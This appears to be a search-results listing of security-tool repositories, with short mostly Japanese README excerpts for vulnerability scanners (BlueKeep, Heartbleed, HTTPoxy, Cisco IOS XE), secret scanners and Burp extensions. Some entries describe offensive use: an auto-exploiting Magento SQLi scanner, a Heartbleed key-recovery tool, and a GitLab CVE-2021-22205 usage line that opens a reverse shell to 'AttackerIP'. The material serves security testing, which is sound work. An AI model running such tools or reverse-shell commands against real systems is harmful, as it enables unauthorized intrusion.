90748 matches found
LHF
Codacy Badge これは最新のKali Linuxディストリビューションでのみテストされています LHF: Low Hanging Fruit – 侵入テスト用の偵察ツール 依存関係のインストール方法: ./Install.sh 起動方法: ./LHF.py + Checking permissions - Rockyou wordlist is missing trying to decompress... + Rockyou wordlist is decompressed! - Please enter the ip to scan example 192.168.0.1 ...
crlf-powered-desync-scanner
CRLF 驱动的 Desync 扫描器 这是我们用于检测研究中所有案例的 Burp 扩展：CRLF-Powered Desync Attacks: Beheading HTTP Streams。 它是一个面向研究的扫描器，基于 BulkScan 构建，类似于 HTTP Request Smuggler 等。 实现 请求头注入探测 使用 src/main/kotlin/ReqMutator 中定义的所有变异，先发送一个良性请求，再发送探测请求。如果响应包含预期的匹配项，或存在显著差异，则会报告一个问题。 如果响应包含所有 预期的匹配项，则该问题会按正常方式报告。如果启用了回退差异检测（使用...
BKScan
BKScan BlueKeep（CVE-2019-0708）スキャナーで、非認証および認証済み（つまり、ネットワークレベル認証（NLA）が有効な場合）の両方で動作します。 要件: Windows RDPサーバー RDPサーバーでNLAが有効な場合、「Remote Desktop Users」グループに属する有効なユーザー名/パスワード これは FreeRDP に基づいており、コンパイル/実行を容易にするために Docker を使用しています。任意のUNIX環境で動作するはずで、主にLinux/Ubuntuでテストされています。 使用方法 ビルド 前提条件をインストール: sudo...
c5scan
c5scan メンテナンス停止 Concrete5 CMS向けの脆弱性スキャナーおよび情報収集ツールです。現在、リファクタリング待ちのため少し古くなっています。 使用方法 python c5scan.py -u -r -u --url ターゲットURLを指定 -r --robots robots.txtが見つかった場合、内容を表示 依存関係 pip install httplib2 requests 使用例 $ python c5scan.py -u localhost -r C5scan A vulnerability and information gatherer for...
LetMeFuckIt-Scanner
LetMeFuckIt Scanner AutoPWNED Magento用スキャナーおよびエクスプロイト このスキャナーは、Magentoの SQLi脆弱性（1.9.1.0 CE） を悪用します。 この脆弱性は パッチSUPEE-5344 で修正されましたが、このスキャナーはセキュリティパッチを適用していないシステムを特定しテストするために使用されます。 LetMeFuckIt はPythonで書かれており、以下のライブラリを使用しています： pygoogle, argparse, urllib2, requests, base64 使用方法: letmefuckit.py --dor...
Check-vuln-CVE-2019-0708
CVE-2019-0708 認証不要のCVE-2019-0708「BlueKeep」スキャナーPoC - @JaGoTu と @zerosum0x0 作。 MetasploitモジュールPR: https://github.com/rapid7/metasploit-framework/pull/11869 このリポジトリについて rdesktopのフォークであるスキャナーは、ホストがCVE-2019-0708（Microsoft Windows Remote Desktop...
rusty-hog
Rusty Hogは、パフォーマンスのためにRustで構築されたシークレットスキャナーであり、Pythonで書かれたTruffleHogをベースにしています。Rusty Hogは以下のバイナリを提供します： Ankamali Hog: Googleドキュメント内のシークレットをスキャンします。 Berkshire Hog: S3バケット内のシークレットをスキャンします。 Choctaw Hog: Gitリポジトリ内のシークレットをスキャンします。 Duroc Hog: ディレクトリ、ファイル、アーカイブ内のシークレットをスキャンします。 Essex Hog: Confluence...
dawnscanner
Dawnscanner - Ruby Webアプリケーションのためのセキュリティスキャナー dawnは、Webアプリケーションをセキュリティ上の問題についてレビューするために設計されたソースコードスキャナーです。 このツールはRubyで記述されたWebアプリケーションをスキャンでき、主要なMVC（Model View Controller）フレームワークを標準でサポートしています。 Ruby on Rails Sinatra Padrino dawnバージョン2.0は知識ベースに680以上のセキュリティチェックを搭載しており、NISTのNational Vulnerability...
burpfox
🦊 BurpFox Burp Suite の拡張機能で、Dalfox XSSスキャナをワークフローに直接統合します。 特徴 🎯 右クリックスキャン - Proxy History や Repeater からリクエストを直接スキャンします。 ⚙️ Dalfoxの全オプション - コンテキスト認識、WAF回避、Blind XSSなど。 前提条件 1. Dalfoxのインストール DalfoxはBurpFoxを使用する前にシステムにインストールされている必要があります。 macOS Homebrew: brew install dalfox Linux Go: go install...
BurpBounty
Burp Bounty Free - スキャンチェックビルダー BApp Store このBurp Suite拡張機能は、非常に直感的なグラフィカルインターフェースを通じて、パーソナライズされたルールを使用して、Burp Suiteのアクティブスキャナーとパッシブスキャナーを迅速かつ簡単に改善できます。パターンの高度な検索と送信するペイロードの改良により、アクティブスキャナーとパッシブスキャナーの両方で独自の問題プロファイルを作成できます。 リリースのダウンロード: https://github.com/wagiro/BurpBounty/releases/...
cve-lite-on-pi
cve-lite-on-pi CVE Lite CLI を pi モノレポに対して実行し、その結果をまとめた短いレポートです。 背景 この実験は、記事 "OWASP CVE Lite CLI – New Tool to Scan for Vulnerabilities in Your Projects" CyberSecurityNews に触発されて行われました。 CVE Lite CLI とは？ CVE Lite CLI は、JavaScript/TypeScript プロジェクト向けの、開発者に優しい ローカル...
Bluekeep-Hunter
Bluekeep-Hunter CVE-2019-0708 これは、CVE-2019-0708 が存在するかどうかをスキャンして確認するために metasploit モジュールを使用します。 単にバージョンやその他のパラメータが要件を満たしているかを確認するのではなく、組織内のコンピュータが実際に脆弱かどうかをチェックして確認することが目的です。このチェッカーはその問題を解決します。IT マネージャーから IP アドレスのリストを入手するだけで、ハンティングとエクスプロイトを実行します。セキュリティ部門の作業を 10分の1 に削減します。これまでのところ、AD に対する最も一般的な攻撃は...
HTTPoxyScan
HTTPoxy 脆弱性スキャナ by 1N3 @CrowdShield https://crowdshield.com 最終更新日: 20160720 概要: PoC/エクスプロイトスキャナで、対象URL上の一般的なCGIファイルをHTTPoxy脆弱性についてスキャンします。HttpoxyはCGIまたはCGIに似た環境で動作するアプリケーションコードに影響を与える一連の脆弱性です。詳細は https://httpoxy.org を参照してください。 必要条件: リバースセッションを確立するためにncatが必要です。 使用方法: ./httpoxyscan.py...
heartbleed-tools
OpenSSL Heartbleed CVE-2014-0160 脆弱性スキャナー、データマイナー、RSA鍵復元ツール。 作者: Einar Otto Stangvik / @einaros / https://hacking.ventures 既に秘密が漏れており、他の人々が独自のツールを公開し始めているため、私もここに公開します。これにより、まだサーバーにパッチを当てたりアップグレードしていない人々への圧力が高まることを願っています。また、教育的価値としてこれらのツールを役立てる人もいるでしょう。 他の多くのHeartbleed...
jaeles-signatures
This project was part of Osmedeus Engine. Check out how it was integrated at @OsmedeusEngine This repo only contain Default Signatures for Jaeles project. Pull requests or any ideas are welcome. Please read the Official Documentation here for writing your own signature. Installation jaeles config...
ntpscanner
ntpscanner NTP monlist スキャナー CVE-2013-5211 このコードは教育および研究目的です。悪意のある目的で使用しないでください。...
CVE-2023-20198-Checker
Cisco-IOS-EX-Scanner CVE-2023-20198 CVE-2023-20198 & 0Day インプラントスキャナー ラボでテスト済み、動作確認済み、結果は環境によります Cisco IOS XEの0day脆弱性を利用して、ホストが脆弱であるか侵害されているかをチェックするための簡易スキャナーです。このツールは、特定のチェックに基づいて潜在的な脆弱性を判断するために、指定されたターゲットまたはターゲットリストをスキャンするように設計されています。 必要条件 pip install requests 使用方法 XE Implant...
GitLab-CVE-2021-22205-scanner
GitLab-CVE-2021-22205-scanner 使用方法 $ python3 GitLab-revshell.py -u https://gitlab.target.com -l AttackerIP -p AttackerPort クレジット https://hackerone.com/reports/1154542 ここからコードスニペットを参照: https://github.com/CsEnox/Gitlab-Exiftool-RCE/blob/main/exploit.py 免責事項: The script is for security analysis and...
kyubisweep
🦊 KyubiSweep 露出したシークレットを狐の狡猾さで狩り出せ！ 軽量でクロスプラットフォームなCLIツール。ファイルシステムをスキャンして、露出したシークレット、APIキー、トークンを検出します。Goで構築され、最大のパフォーマンスとゼロ依存性を実現。 ✨ 機能 🔍 30以上のシークレットパターン - AWS、Stripe、GitHub、Google、Slack、データベース認証情報などを検出 🧮 シャノンエントロピー分析 - 正規表現では見逃しがちな高エントロピー文字列をキャッチ ⚡ 並列スキャン - Goのgoroutineを使用した高速並列処理 🛡️...